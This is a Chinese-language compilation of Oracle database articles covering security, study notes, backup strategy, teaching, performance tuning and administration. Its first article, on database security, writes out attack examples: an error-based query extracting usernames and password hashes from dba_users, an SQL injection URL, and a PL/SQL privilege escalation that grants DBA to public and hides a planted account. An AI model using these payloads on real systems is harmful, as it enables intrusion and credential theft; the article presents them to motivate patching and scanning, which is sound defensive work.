Oracle数据库

2024-06-13

Oracle数据库(精选11篇)

Oracle数据库 第1篇

为什么需要oracle数据安全, 据统计截止2009年底, 据相关部门调查, 在德国741家公司中有被数据库入侵的家数高达百分之83.6, 造成直接经济损失2.8亿欧元。并按照被入侵次数按每年10%的速率增长, 受影响部门有销售部、设计部、人事部和市场部。攻击者大多是内部员工和业界竞争者。

又根据调查每个中等规模的公司, 大约需要1000左右的oracle数据库实例, 相当于300个生产数据库, 但是其中核心的数据库实例只占2%-5%, 平均每个DBA要管理30-100个数据库实例。10-20%的数据库是过期的版本, 80-90%的数据库运行相同的版本。

一般数据库应用中我们采用的结构为客户端、中间件和数据库服务器三层结构。即使这样我们还是有漏洞, 如没有统一的认证系统, 不能定时的更换密码, 在杀毒和防木马软件方面财力投入不够, 管理上缺乏安全意识等。

二、问题与解决方式

三、黑客攻击举例

1、弱密码攻击举例:

黑客可以通过命令c:>checkpwd system/secretpw@ora10104local password_file.txt进入本地文件glogin.sql和login.sql文件, 还可以通过sqlplus sys@ora10g4as sysdba连接glogin.sql文件, 从而达到创建用户和修改提升权限的目的。

2、利用系统漏洞:

在url_inaddr中默认有授权公共账户的域名解析, select utl_inaddr.get_host_name (‘127.0.0.1’) fromdual;通过修改错误信息得到系统账户, select url_addr.get_host_name ( (select username||‘=’||password from dba_users where rownum=1) ) from dba_users where rownum=1) ) from dual;从而得到系统密码。

3、通过SQL注入攻击:

http://ec.*****/prelex/detail_dossier_real.cfm?CL=en&Dosld=124131||url_inaddr.get_host_name ( (select%20’SID=’||global_name%20from%20global_name) ) , 这样可以得到SID, 同样道理通过改上述字段中的global_name为all_users可以得到相关用户信息。

4、PL/SQL入侵:

介绍一个典型的PL/SQL入侵create or replace function F1 return number authid current_user as pragma autonomous_transaction;begin execute immediate‘grant dba to public’;commit;return 1;end;/Expolit exec sys.kupw$WORKER.main (‘x’, ’YY’’and1=user1.f1–mytag12’) ;最后通过relogin或者运行set role dba变为DBA。 (create user hacker identified by hacker;crant dba to hacker;一些经验老道的黑客会隐藏自己的身份update sys.user$set datats#=777;

Commit;测试sqlplus hacker/hacker

四、解决方案

1、测试打开2-3个典型数据库

2、尝试定位问题所在

3、修复问题

4、安装补丁修改策略

5、扫描更多的数据库

五、介绍几款扫描工具

1、Sentrigo Hedgehog (图形加命令行的高级扫描漏洞软件)

2、RDSrepscan (容易上手的网页界面数据库扫描软件)

总结

1、数据库安全是一个循序渐进的过程, 它需要不断地修复和查找漏洞。

2、需要设置防火墙和入侵检测系统辅助管理员实施。

ORACLE数据库学习心得 第2篇

一个好的程序,必然联系着一个庞大的数据库网路...今年我们学习了 oracle数据库这门课程,起初的我,对这个字眼是要多陌生有多陌生,后来上课的时候听一会老师讲课,偶尔再跟上上机课,渐渐的学会了不少东西,但我感觉,我学到的仍是一些皮毛而已,怀着疑惑和求知的心态,我在网上搜索了关于 oracle数据库的一些知识。

1.ORACLE的特点: 可移植性 ORACLE采用C语言开发而成,故产品与硬件和操作系统具有很强的独立性。从大型机到微机上都可运行ORACLE的产品。可在UNIX、DOS、Windows等操作系统上运行。可兼容性 由于采用了国际标准的数据查询语言SQL,与IBM的SQL/DS、DB2等均兼容。并提供读取其它数据库文件的间接方法。

可联结性 对于不同通信协议,不同机型及不同操作系统组成的网络也可以运行ORAˉCLE数据库产品。

2.ORACLE的总体结构

(1)ORACLE的文件结构 一个ORACLE数据库系统包括以下5类文件:ORACLE RDBMS的代码文件。

数据文件 一个数据库可有一个或多个数据文件,每个数据文件可以存有一个或多个表、视图、索引等信息。

日志文件 须有两个或两个以上,用来记录所有数据库的变化,用于数据库的恢复。控制文件 可以有备份,采用多个备份控制文件是为了防止控制文件的损坏。参数文件 含有数据库例程起时所需的配置参数。

(2)ORACLE的内存结构 一个ORACLE例程拥有一个系统全程区(SGA)和一组程序全程区(PGA)。

SGA(System Global Area)包括数据库缓冲区、日志缓冲区及共享区域。

PGA(Program Global Area)是每一个Server进程有一个。一个Server进程起动时,就为其分配一个PGA区,以存放数据及控制信息。

(3)ORACLE的进程结构ORACLE包括三类进程: ①用户进程 用来执行用户应用程序的。

②服务进程 处理与之相连的一组用户进程的请求。

③后台进程 ORACLE为每一个数据库例程创建一组后台进程,它为所有的用户进程服务,其中包括: DBWR(Database Writer)进程,负责把已修改的数据块从数据库缓冲区写到数据库中。LGWR(Log Writer)进程,负责把日志从SGA中的缓冲区中写到日志文件中。

SMON(System Moniter)进程,该进程有规律地扫描SAG进程信息,注销失败的数据库例程,回收不再使用的内存空间。PMON(Process Moniter)进程,当一用户进程异常结束时,该进程负责恢复未完成的事务,注销失败的用户进程,释放用户进程占用的资源。ARCH(ARCHIVER)进程。每当联机日志文件写满时,该进程将其拷贝到归档存储设备上。另外还包括分布式DB中事务恢复进程RECO和对服务进程与用户进程进行匹配的Dnnn进程等。

3.ORACLE的逻辑结构

构成ORACLE的数据库的逻辑结构包括:(1)表空间

(2)5种类型的段(segment)

①数据段;②索引段;③回滚(rollbock)段;④临时段;⑤自举(bootstrap)段。

段的分配单位叫范围(Extent)

表空间(Tablespace)一个数据库划分成的若干逻辑部分称为表空间。一个数据库可以有一个或多个表空间,初始的表空间命名为SYSTEM,每一个逻辑表空间对应于一个或多个物理文件。DBA使用表空间做以下工作: 控制数据库对象,如表、索引和临时段的空间分配。为数据库用户设置空间配额。

利用个别表空间的在线或离线,控制数据的可用性。后备或恢复数据。

通过分配空间,以改进性能。

在每个数据库中都存在SYSTEM表空间,它在建立数据库时自动建立。在该表空间中,包含数据库的数据字典,其中存储全部数据库对象的名字和位置。SYSTEM表空间总是在线的,像其它表空间一样,可以通过增加新的数据库文件来扩大。一个表空间可包含许多表和索引。但一个表和索引不能跨越表空间,可跨越组成表空间的文件。在DB的打开的情况下,DBA利用ALTER TABLESPACE语句,可以实施表空间的在线或离线。SYSTEM表空间必须在线。表空间离线有下列原因: 一般为了使部分数据库不能使用,而允许正常存取数据库其余部分。执行表空间离线备份。

一个离线的表空间,不能被应用用户读或编辑。

可以增加数据文件扩大已有的表空间,也可增加新的表空间使数据库容量增大,或分配空间给某个应用。使用ALFER TABLESPACE ADD FILE语句将另一个数据文件加入到已存在表空间中。使用CREATE TABLESPACE语句可建立一个新的表空间。段(segment)表空间中的全部数据存储在以段划分的数据库空间中。一个段是分配给数据库用于数据存储的范围的集合。数据可以是表、索引或RDBMS所需要的临时数据。段是表空间的下一个逻辑存储的级别。一个段不能跨越一个表空间,但可跨越表空间内的文件。一个数据库最多需要五种段类型: 数据段 一个包含一个表(或聚集)的全部数据,一个表(或聚集)总有一个单个数据段。

索引段 一个索引段包含对一个表(或聚集)建立的一个索引的全部索引数据。一个表可以有一个、多个或者没有索引段,取决于它所拥有的索引个数。一个聚集必须至少有一个索引段,即在聚集码上建立聚集索引。

回滚段 每个DB有一个或多个回滚段。一个回滚段是DB的一部分,它记录在某一情况下被撤消的动作。回滚段用于事务控制和恢复。

临时段 在处理查询时,ORACLE需要临时工作空间,用于存储语句处理的中间结果,这个区称为临时段。

自举段 自举段在SYSTEM表空间中,在数据库建立时建立。它包括数据字典定义,在数据库打开时装入。

4.用户数据库对象

由用户建立的对象驻留在表空间中,含有真正的数据。数据库对象有表、视图、聚集、索引、伪列和序号生成器。

(1)聚集(Cluster)聚集是存储数据的一种可选择的方法。聚集包括存储在一起的一组表,它们共享公共列并经常一起使用。由于内容相关并且物理地存储在一起,存取时间得到改进,存储空间可以减少。聚集是一种优化措施。

聚集对性能的改进,依赖于数据的分布和SQL操作的内容。特别是使用聚集对连接非常有利。可以明显地提高连接的速度。建立聚集命令的基本格式: SQL>CREATE CLUSTER〈聚集名〉(列定义[,…]);利用聚集建立表命令基本格式: SQL>CREATE TABLE〈新表名〉(列定义[,…]CLUSTER〈聚集名〉(聚集列);在聚集码上必须建立一个聚集索引,对于每一数据块上每个聚集码值有一索引项。这个索引必须在DML语句对聚集表操作前建立。建立索引的语句是:CREATE INDEX索引名ON CLUSTER聚集名;(2)序号生成器 序号(SEQUENCE)生成器为表中的单列或多列生成顺序号。利用序号可自动地生成唯一主码。使用SQL语句定义序号,给出一些信息(如序号名、是升序或降序、每个序号间的间隔和其它信息)。所有序号存储在数据字典表中。

所有序号定义存储在数据字典的SEQUENCE表中。用户可以通过字典视图

USER-SE-QUENCES、ALL-SEQUENCES

和DBA-SEQUENCES查询和存取。建立序号生成器的语句是: CREATE SEQUENCE序号生成器名 其它选项。

一旦序号生成器S被定义。可用S.Currval来引用S序号生成器的当前值。用S.nextval产生下一个新的序号并加以引用。

(3)伪列 伪列的行为像表的一列,但不真正存在于表中,在查询时可引用伪列,但伪列不能插入、删除或修改。

5.数据字典

数据字典ORACLE RDBMS最重要的部分之一。数据字典含有一组系统定义的表,只能读,是关于数据库的引用指南。它可提供以下信息:ORACLE用户的用户名;每个用户被授予的权限和角色;实体的名字和定义;完整性约束 为数据库实体分配的空间;通用的数据库结构;审计信息;触发子程序等的存储。数据字典是以表和视图构成的,像其它数据库数据一样,可用SQL语言查询数据字典。

数据字典在DB建立时建立。每当DB进入操作,数据字典就由ORACLE RDBMS负责修改。数据库建立时有两个默认DBA用户:SYS、SYSTEM。SYS持有基本表中的数据。数据字典包含一组基表和相关的视图,可分为以下几类: 类

描 述

DBA-××× 只有DBA可存取的视图,给出数据库中定义的任何实体的信息

USER-××× 对任何用户可用的视图,给出他们自己的实体的信息

ALL-×××

对任何用户可用的视图,给出用户可存取的所有实体的信息

其中×××代表表名或视图名

下面列出的是一些常用的表或视图的名称。(1)DTAB 描述了组或数据字典的所有表。(2)TAB 用户建的所有基本表、视图和同义词。(3)COL 用户创建基本表的所有列的信息。

(4)SYNONYMS 用户可存取的同义名词、专用名和公用名。(5)CATALOG 用户可存取的表、视图、同义词、序列。(6)CONSTRAINTS 用户可存取的约束。(7)INDEXES 用户可存取的表和聚集的序列。(8)OBJECTS 用户可存取的对象。(9)TABLES 用户可存取的表。(10)USERS 查看当前全部用户。(11)VIEWS 查看用户可存取的视图。

(12)SYSTABAUTH 用户对数据对象的使用权限。可以用SQL>SELECT*FROM〈字典表名或视图名〉WHERE〈条件〉来读取有关信息。

可以用SQL>DESCRIBE〈表名〉来查看表的结构定义。但是数据库字典的结构不可改。用DESCRIBE命令还可以查看视图及过程的定义。

6.ORACLE的SQL、PL/SQL与SQL*PLUS 作为ORACLE数据库核心的SQL语言是ANSI和ISO的标准SQL的扩充。用来存储、检索和维护数据库中的信息,并控制对数据库的存取事务。由于RDBMS执行SQL语句时,是一次只执行一条语句,它是非过程化的。这就使得单条的SQL语句使用方便,功能强大。用户只需说明操作目的,不必关心具体操作的实现方法。

但在实际数据库应用开发中,往往要依据前一步对数据库操作的结果或上一个事务提交的情况来确定下一步的操作。故ORACLE推出了一种PL/SQL工具,它扩充了SQL语句,使之具有可进行过程化编程的能力,如循环、分支功能。PL/SQL可支持变量和常量的使用。例如在SELECT查询语句的where子句中可以使用变量来书写条件表达式。SQL*PLUS是ORACLE用来存储、查询、操纵、控制和报告数据库中信息的一个交互式工具。它是一种集编辑、调试、运行于一体的开发环境。在SQL*PLUS的这种运行环境下,既可以使用SQL命令、PL/SQL语句、及SQL*PLUS自己提供的命令,又可以运行由上述三类命令(或语句)编辑而成的命令文件。SQL*PLUS提供的附加命令主要用来编辑、运行上述三类命令及命令文件和对查询结果进行格式化输出等功能。

7.数据库系统的管理

ORACLE作为一个大型的数据系统,通常包含很多用户的数据。在应用开发过程中,有许许多多的各类人员进行开发和应用。所以必须要求有人对数据库系统进行临时管理,并进行数据的备份等工作。这种人被称为数据库管理员(Data Base Administrator)。他们必须理解数据库系统管理,清楚数据库包含的数据内容、运行状况等。

一般说来,DBA不是指具体的人,而是指对数据库可以行使DBA特权的用户。DBA具有如下责任:(1)ORACLE服务器和客户工作站软件的安装和升级;(2)创建基本的数据库存储结构(表空间);(3)创建基本的数据库客体(表、视图、索引);(4)修改数据库结构;(5)给用户授权,维护系统安全;(6)控制和管理用户对数据库的访问;(7)监视和优化数据库的性能;(8)计算数据库信息的后备和恢复;(9)后备和恢复数据库;(10)构造ORACLE服务器,如创建数据库链、客体同义词等。而应用开发人员须完成:(1)应用程序设计;(2)应用的数据库结构设计和修改;(3)为DBA提供必要的信息;(4)完成应用程序的开发。

看了许多关于ORACLE的知识论坛,总算是对ORACLE有个整体的认识,不仅仅是拘泥于课堂上学习的知识而已,虽然自己对ORACLE学习并不是多么的透彻,但是总归多接触点新的东西总是好的。

Oracle数据库备份策略 第3篇

不管数据库如何精心设计、配置和优化,它们都难免会出现系统或硬件故障,如:语句故障、用户进程故障、实例故障、介质故障等。一旦数据库出现故障将给用户数据带来灾难性的结果。因此数据库管理员必须采取必要的备份策略以避免数据灾难的发生。

Oracle提供了强大的备份策略,其备份方式分为物理备份和逻辑备份两大类型。物理备份是数据库文件拷贝的备份,根据备份时数据所处状态的不同,物理备份又可分为脱机备份(冷备份)和联机备份(热备份);逻辑备份是对数据库逻辑组件(表、存储过程等数据库对象)的备份,逻辑备份使用Exp命令将数据库中相应的逻辑对象存储为二进制文件。

2 脱机备份

脱机备份是在数据库被正常关闭之后进行的数据文件的物理备份。当数据库正常关闭时,将数据库的所有数据文件、控制文件、参数文件、口令文件、重做日志文件都拷贝到备份介质中。这些文件因而保持着数据关闭时的完整的映象,对于备份Oracle信息而言,脱机备份是最快和最安全的方法。

2.1 脱机备份的优点

1)是非常快速的备份方法(只需拷文件)

2)容易归档(简单拷贝即可)

3)容易恢复到某个时间点上(只需将文件再拷贝回去)

4)能与归档方法相结合,做数据库“最佳状态”的恢复。

5)低度维护,高安全性。

2.2 脱机备份的方法

1)关闭数据库shoutdown normal;

2)将数据文件、控制文件、参数文件(可选)、联机重做日志文件及存档日志文件(Oracle工作在Archivelog方式)拷贝到备份磁盘。

3)重新启动数据库startup open数据库名;

脱机备份操作简单、安全可靠,但脱机备份只能恢复到数据库被关闭时的状态,同时只有在关闭数据库的状态下才能进行备份操作。实际应用中很多情况下数据库必须不间断的工作,不可能使用脱机备份数据库,在这种情况下只能采用联机备份。

3 联机备份

联机数据库备份是不一致备份,因为在备份过程中数据库中的部分数据可能被修改,因此数据库一旦出现故障只能利用备份文件与归档日志做完全或不完全的恢复,此时数据库必需工作在Archivelog方式。

3.1 Archivelog方式下的备份策略

1)在初始建立数据库时,执行脱机全数据库备份,这是整个数据库备份的基础,它保存着全部原始数据库文件和控制文件的备份;

2)定期进行全数据库备份(联机备份);

3)每次对数据库进行结构修改时,必须进行控制文件备份。

3.2 联机备份的方法

在数据文件备份之前,对应的表空间必须通过使用ALTER TABLESPACE……BEGIN BACKUP以备份方式放置。然后组成表空间的数据文件可以使用类似脱机备份的操作系统命令进行拷贝。在数据文件用操作系统命令拷贝后,应使用ALTER TA-BLESPACE……END BACKUP命令使表空间脱离联机备份方式。同时用ALTER DATABSE……BACKUP CONTROLFILE命令备份控制文件。(下转第4365页)(上接第4363页)

联机备份没有必要备份联机日志,但必须是归档状态,在实例恢复的时候,可能需要用到归档日志。当前联机日志一定要保护好或是处于镜像状态,当前联机日志的损坏,对于数据库的损坏是巨大的,只能以数据的丢失来进行数据库的恢复工作。

对于临时表空间,存放的是临时信息,在联机备份是也可以考虑不用备份,如果临时文件发生故障,可以删除该数据文件与表空间,重建一个临时表空间。

3.3 联机备份的优点

1)可在表空间或数据文件级备份,备份时间短。

2)备份时数据库仍可使用。

3)可达到秒级恢复(恢复到某一时间点上)。

4)可对几乎所有数据库实体作恢复。

5)恢复是快速的,在大多数情况下在数据库仍工作时恢复。

当备份的数据量不是太大,需要经常性的数据备份时,可以使用逻辑备份。ORACLE数据库的逻辑备份分为三种模式:表备份、用户备份、表空间备份和完全备份。

表模式:备份某个用户模式下指定的对象(表)。

exp用户名/密码@适配器tables=(table list)file=备份文件名。

用户模式:备份某个用户模式下的所有对象。

exp用户名/密码@适配器file=备份文件名owner=用户名。

表空间模式:备份整个表空间。

exp用户名/密码@适配器tablespaces=(tablespace list)file=备份文件名

完全备份:备份完整的数据库。

exp用户名/密码@适配器full=y file=备份文件名

对于数据库逻辑备份,建议采用增量备份,即只备份上一次备份后更改的数据。

4 结论

选择备份策略的依据是:丢失数据的代价与确保数据不丢失的代价之比。还有的时候,硬件的备份有时根本满足不了现实需要,假如你误删了一个表,但是你又想恢复的时候,数据库的备份就变的特别重要了。作为DBA,有责任从以下三个方面维护数据库的可恢复性:1)使数据库的失效次数减到最少,从而使数据库保持最大的可用性;2)当数据库不可避免地失效后,要使恢复时间减到最少,从而使恢复的效率达到最高;3)当数据库失效后,要确保尽量少的数据丢失或根本不丢失,从而使数据具有最大的可恢复性。

摘要:任何数据库系统都可能因人为或非人为的因素带来数据灾难。该文详细探讨Oracle数据库系统中所提供的强大的备份策略,以帮助数据库管理员最大限度地减少因数据灾难所带来的损失。

关键词:备份,联机备份,脱机备份,物理备份,逻辑备份

参考文献

[1]丁铖.Oracle8/8i数据库系统管理[M].北京:人民邮电出版社,2001.

[2]盖国强.循序渐进Oracle--数据库管理、优化与备份恢复[M].北京:人民邮电出版社,2007.

[3]袁福庆.Oracle数据库管理与维护手册[M].北京:人民邮电出版社,2006.

ORACLE数据库工作总结 第4篇

班级:13高软班

数据库技术是计算机科学技术中发展最快的领域之一,也是应用最为广泛的技术之一,它已经成为计算机信息系统与应用的核心技术和重要基础。所以在学习这门课时,注重学生实际操作能力,安排了理论与上机操作相结合。以下是我的工作总结:

1、课前准备:备好课。认真学习贯彻教学大纲,钻研教材。了解教材的基本思想、基本概念、结构、重点与难点,掌握知识的逻辑。

了解学生原有的知识技能的质量,他们的兴趣、需要、方法、习惯,学习新知识可能会有哪些困难,采取相应的措施。

考虑教法,解决如何把已掌握的教材传授给学生,包括如何组织教学、如何安排每节课的活动。

2、课堂上的情况。组织好课堂教学,关注全体学生,注意信息反馈,调动学生的注意力,使其保持相对稳定性。同时,激发学生的情感,使他们产生愉悦的心境,创造良好的课堂气氛,课堂语言简洁明了,课堂提问面向全体学生,注意引发学生学习的兴趣,课堂上讲练结合,布置好课外作业,减轻学生的负担。

Oracle数据库 第5篇

关键词:Oracle数据库;性能优化;措施

中图分类号:TP311.138

随着计算机科学技术的快速发展,数据库能提供的服务水平标志着各国家的科技水平、经济实力和文明程度,是现代信息产业的基本建设工程。数据库技术应用最初应用与传统商务数据处理,后逐渐在多媒体应用、商业管理、计算机图像等领域得到应用。而如何确保数据库的安全、高效运行,则要考虑数据库的性能问题。数据库规模的日益扩大化,越发凸显了数据库系统的性能问题,为使数据库应用系统正常、高效地运行,必须进行数据库优化措施的探讨。

1 Oracle数据库性能影响因素

1.1 CPU 占用过高。CPU是处理软件中数据的中央处理器,任何数据库中的操作都要在CPU中进行指令读取和执行。当有限的CPU资源大量被其它应用占用时,整个系统的反应速度将下降,导致数据库响应迟钝。其中Oracle数据库系统低效SQL语句、中锁冲突都会占用CPU资源,降低系统反应速度。

1.2 操作系统。Oracle数据库的操作系统是其重要组成部分,操作系统很大程度上影响着Oracle数据库服务器的运行性能。操作系统主要问题部分是配置方面问题,需要调整Oracle使用的操作系统资源。

1.3 计算机内存分配不合理。当内存不足时,我们喜欢设置虚拟内存来暂时解决这个问题,但实际上虚拟内存依旧建立在磁盘空间上,不能解决实际问题。因为设有虚拟内存的系统,将交换内存中的信息和这部分磁盘空间,这种频繁的运转方式很大程度上增加了磁盘的读写操作,减少了最近访问数据的缓存空间,从而降低了系统性能。

1.4 网络速度慢。网络反映速度慢对数据库系统的吞吐量也会大幅降低并使用户响应时间延长。

1.5 I/O冲突。I/O冲突很大程度上降低了Oracle数据库系统性能。这是由于在数据库系统中可能发生一个磁盘同时被多个进程同时访问,但一个磁盘一个时间内一次只能被一个进程访问,当发生多个进程同时访问时,磁盘内部很容易产生读写冲突,降低数据库系统反应速度。

2 Oracle数据库性能优化目标

2.1 增加Oracle数据库的吞吐量。Oracle数据库的吞吐量是指在单位时间内,对SQL语句的事务处理量。提高Oracle数据库吞吐量的方法是在同样的资源下提高工作效率,完成更多的任务,或在相同时间内完成更多任务。

2.2 缩短Oracle数据库响应时间。数据库响应时间是指花费在用户从提交SQL语句到获得结果集的第一行数据之间的时间。缩短Oracle数据库响应时间:(1)减少系统服务时间,即通过增加Oracle数据库的吞吐量;(2)减少用户等待时间,即减少用户请求处理时间,也就是同时访问Oracle数据库资源而产生的冲突等,提高系统资源利用率。

2.3 提高Oracle数据库的命中率。内存是否能满足用户对数据的需求,并作出快速响应,这需要在缓冲区进行高速缓存命中率计算来衡量。而在高速缓存中读数据比磁盘中读数据占用更少的内存,因此,提高高速缓存命中率有助于提高响应速度。

2.4 合理使用内存。若存在大量的用户同时访问数据库,当Oracle内存尺寸较小时,很容易造成程序的处理效率低下,使得数据库的响应时间延长。判断是否合理使用内存的指标有使投资得到最大回报、使争用减到最小。只有在合理使用内存的情况下,才能较大程度的提高系统性能。

3 Oracle数据库性能优化措施

3.1 优化数据库。(1)优化数据库设计才能更好的实现Oracle数据库性能最优化,因此,必须设计出一个较好的Oracle数据库方案。而Oracle系统本身己经为数据库的优化提供了若干种技术,但Oracle数据库设计本身还是占据主导地位。(2)在数据库中增加索引,这也是最常见的优化方法。索引(index)是数据库中的常见对象,通过索引可以使表扫描I/O次数大量减少,且不必要的大表全表扫描通通可以避免。设置索引的位置由where子句中索引列规定的查询条件决定。在数据库中增加索引,可大幅度提高查询速度。(3)对数据库中频繁执行的应用逻辑可以通过存储过程完成,且使数据库的操作与代码编程分离,从而实现网络传输量降低的同时数据请求的执行效率也提高。用户发出执行命令即可执行存储过程,不需通过SQL语句提交进行,减少了系统分析SQL语法。(4)对于数据量增长非常快的业务,可以在分区表技术下先进行数据分散,从而使不同表空间在不同的磁盘中得到分布,均衡各硬盘之间的I/O 负载,有效缓解由于过大的数据量而导致的负面影响并降低查询时间。

3.2 优化SQL语句。优化Oracle数据库应用程序,可以通过优化源代码和优化SQL语句两方面。而SQL语句消耗了70%~90%的数据库资源,执行SQL语句的效率将直接影响Oracle数据库的执行效率。通过优化劣质SQL语句,提高内存命中率,加快执行速度,减少I/O访问和网络传输,发挥数据库性能。

(1)对数据库缓冲区的SQL解析信息充分利用。对于一些SQL语句,虽然经常运行,但条件子句变量值不同,则需要对其进行变量绑定,更改为统一的变量。(2)调整SQL的关键语句,最优化数据库寻找数据路径。对一些动态SQL要限制使用,并优化操作符,如尽量少用in或not in,like,union等操作符。(3)优化SQL语句的索引。如索引列采取is null 和is not null语句,如采取函数来处理字段,如采取显式或隐式的运算,这些都将提高系统处理效率。

3.3 优化Oracle数据库内存分配和磁盘I/O。由一组Oracle后台进程和SGA的一个内存区组成Oracle实例,而数据库系统的性能又很大程度上受SGA使用效率的影响,因此,优化Oracle数据库运行状况需要进行SGA的优化。在信息系统运行过程中,进行Oracle数据库内存分配的优化,且必须在磁盘I/O优化前进行。

Oracle数据库中磁盘I/O操作很大程度上影響其性能,必须优化磁盘I/O。而影响磁盘I/O性能的主要因素是数据块空间的分配管理、磁盘竞争、操作系统性能等。具体优化措施有以下几方面:(1)对I/O 争用较多的往往也是一些经常使用的对象,因此,在独立磁盘上放置一些访问量较大的数据文件,在不同的磁盘上放置同一个表空间的多个数据文件,建立单独的表空间进行索引,且表和索引在不同的表空间放置。(2)用户数据表空间需要单独创建,并在不同磁盘放置用户表空间和系统表空间,排序操作可使用临时表空间,避免在多个表空间内存放数据库碎片。(3)选取廉价磁盘冗余阵列(raid)进行优化。其能对不同类型、访问频率的数据库文件进行自动分离,一定程度降低I/O进程间的竞争,优化Oracle数据库性能。

参考文献:

[1]Edward Whalen,Mitchell Schroeter著,高艳春等译.Oracle性能调整与优化(第一版)[M].北京:人民邮电出版社,2002.

[2]赵大力,靳其兵,赵梅.Oracle数据库优化解决方案[J].计算机应用,2005(03):45-46.

[3]陈建云,林春艳,曾昊川.Oracle应用系统数据库的优化探讨[J].信息安全与技术,2014(12).

[4]熊江红.ORACLE数据库的调优问题分析[J].民营科技,2014(10).

ORACLE数据库的管理 第6篇

根据ORACLE数据库存储和查询的特点, 对其管理需要从以下几方面入手:

1 ORACLE数据库的日常维护

1.1 定期检查数据库表空间

表空间是存储信息的逻辑实现。在表空间和存储信息的数据文件之间有着直接的关联。当创建一个表空间时, 就明确了ORACLE数据库初始化文件支联系表空间的位置和这个数据文件的大小。由于数据库内数据的日益增多, 所使用的表空间也随之减少, 因此需要定期对表空间进行检查。如出现数据库表空间不够的情况, 暂时关闭应用程序, 添加新的数据文件。

1.2 定期跟踪警告日志

ORACLE数据库对所有的关键性问题均在警告日志中记录, 所列出的信息真实地反映出紧急事件的发生, 并记录其发生时间。警告日志可以帮助数据库管理员规范数据库的历史记录, 并允许数据库管理员对事件的整个生命周期进行跟踪。ORACLE数据库全天候不停地将信息写入警告日志, 这些信息有可能是发生中断性事件的警告信息。如果不及时查看就有可能没有充分的时间对态势发展做出及时的反应, 致使应用程序中断。

2 ORACLE数据库的日常处理

除了每日监视数据库的运行外, 还需要对数据库发生的问题进行处理, 主要有以下几种情况:

2.1 修改参数文件

在参数文件init.ora中定义了数据文件的个数, 如果在增加新的数据文件时报错, 说明参数文件中定义的数据文件个数过小需要修改。修改过参数文件后需要关闭数据库重新启动, 再增加新的数据文件即可。

2.2 重新建立回滚段

在ORACLE数据库中, 有关先前的信息将保留在一个回滚段中, 这样ORACLE数据库能够在事务没有完成的情况下重新显示“前映像”或数据外观。随着应用程序开始在数据库中改变数据, ORACLE数据库也在改变其保存信息的物理块。在将更改后的信息输入到系统全局区 (SGA) 的数据缓冲区或磁盘时, ORACLE数据库将首先把事务分配到一个回滚段中, 然后在这个回滚段中做一个原始信息的副本。在应用程序处理数据时出错, 在警告日志中记录是回滚段的问题, 此时需要重新建立回滚段。

2.3 数据库关闭

在遇到有长事务影响应用程序中需要关闭数据库。在做数据库关闭时有两种选项, 一是shutdown, 二是shutdown immediate。第一种选项执行时间较快, 可以立即关闭数据库, 第二种方式执行时间较长, 这是因为进行长事务处理时, 即使是在关闭数据库的情况下, 数据库还是会将长事务处理完毕后才能将数据库空间释放, 这样就会影响到应用程序的使用。

3 ORACLE数据库的保护

由于金融系统的特殊性, 要求数据库不间断地运行, 因而对数据库的保护是非常重要的。

3.1 数据库备份

随着数据库数据和日益增加, 数据库可能会面临系统数据流失的问题, 这就需要对数据库进行备份。数据库备份分为脱机数据库备份和联机数据库备份。联机数据库备份是在执行数据库备份的同时, 数据保持运行状态, 只对数据文件和控制文件进行同样的文件级复制, 不需要备份重做日志。脱机数据库备份时必须立刻备份数据库中的所有文件, 而在联机数据库备份中, 可以在任何时候备份部分文件或是全部文件。

3.2 逻辑的数据库备份

类似于脱机备份, 备份的实际上是一个时间上的快照。通过它可以给对象及其数据进行二进制复制。备份整个数据库时, 相当于给组成数据库的每个单独表、索引、视图、同义词、包、过程和触发器等对象做了一个拷贝。这种方式的最大优点在于可以方便地根据需要恢复一个或多个表, 或是整个模式。逻辑的数据库备份也相当于对数据库空间碎片进行了整理。

4 ORACLE数据库的安全管理

在ORACLE数据库安装成功后, 会产生三个自动生成的用户, 权限分别为超级用户权限、数据库管理者权限和普通用户权限。这三个用户的进入口令也是为大家熟知的, 因此在应用系统的开发过程中最好新建用户并设置新的密码使用, 同时最好将超级用户权限和数据库管理者权限这两个用户的口令进行定期或不定期地更换, 避免有人恶意地进入到数据库中进行破坏活动, 从而造成整个系统的瘫痪。另外, ORACLE数据库用户的口令也要定期或不定期地进行更换, 而且用户口令要避免使用简单的字母来进行设置。

5 ORACLE数据库的性能优化

随着数据库规模的扩大, 数据和实例的增多, 应用程序可能会变得更加分散, 这就需要对数据库进行优化。一方面需要修改应用程序为表建立合理的索引, 另一方面要从硬件考虑, 对CPU的反应时间进行相应地调整。

ORACLE数据库为应用系统提供了强大的数据存储和查询功能, 对它的管理是否到位也势必影响着应用系统的上正常运行。只有合理地规划才能让其发挥出最大的作用, 从而保证应用系统的快速反应。

参考文献

[1]王兰成等译.Marlene Theriault, Rachel Carmichael, James Viscusi.oracle数据库管理员基础教程[M].北京:机械工业出版社, 2000.

[2]李逸波等译.Eyal Aronoff, Kevin Loney, Noorali Sonawalla.oracle8性能优化和管理手册[M].北京:机械工业出版社, 2000.

Oracle数据库优化探究 第7篇

随着网络应用的不断发展, 对数据库进行优化变得重要起来。通过对其进行优化, 可以解决数据库系统运行过程中性能的渐进性下降或性能突降等问题, 以保证系统运行的优良性能。下面从5个不同方面介绍Oracle数据库优化设计方案。

1 数据库的物理结构优化

Oracle数据库的物理结构从操作系统一级查看, 是由一个个的文件组成。数据库的数据最终是存储在物理磁盘上的, 因此对于这些物理存储的优化是系统优化的一个重要部分。如果应用系统的数据库比较脆弱, 并在不断地增长或缩小, 这样的系统在非动态变化周期内效率合理, 但是当在动态变化周期内的时候, 性能却很差, 这是由于Oracle的动态扩展造成的。在动态扩张的过程中, Oracle必须根据存储的要求, 在创建行、行变化获取缺省值时, 扩展和分配新的存储空间, 而且表格的扩展往往并不是事情的终结, 还可能导致数据文件、表空间的增长, 这些扩展会导致在线系统反应缓慢。对于这样的系统, 最好的办法就是在建立的时候预先分配足够的大小和合适的增长幅度。在一个对象建立的时候要根据应用充分地计算他们的大小, 然后再根据这些数据来定义对象Initial、Next和Minextents的值, 使数据库在物理存储上和动态增长次数上达到一个比较好的平衡点, 使这些对象既不经常发生增长, 也不过多地占用数据库。

2 充分利用系统全局区域SGA (SYSTEM GLOB AL AREA)

SGA区是由Oracle分配的共享内存结构, 包含一个数据库实例共享的数据和控制信息。SGA区由数据高速缓冲区 (Database Buffer Cached) 、共享池 (Shared Pool) 、重做日志缓冲区 (Redo Logo Cached) 、大型池 (Large Pool) 和其他结构组成。

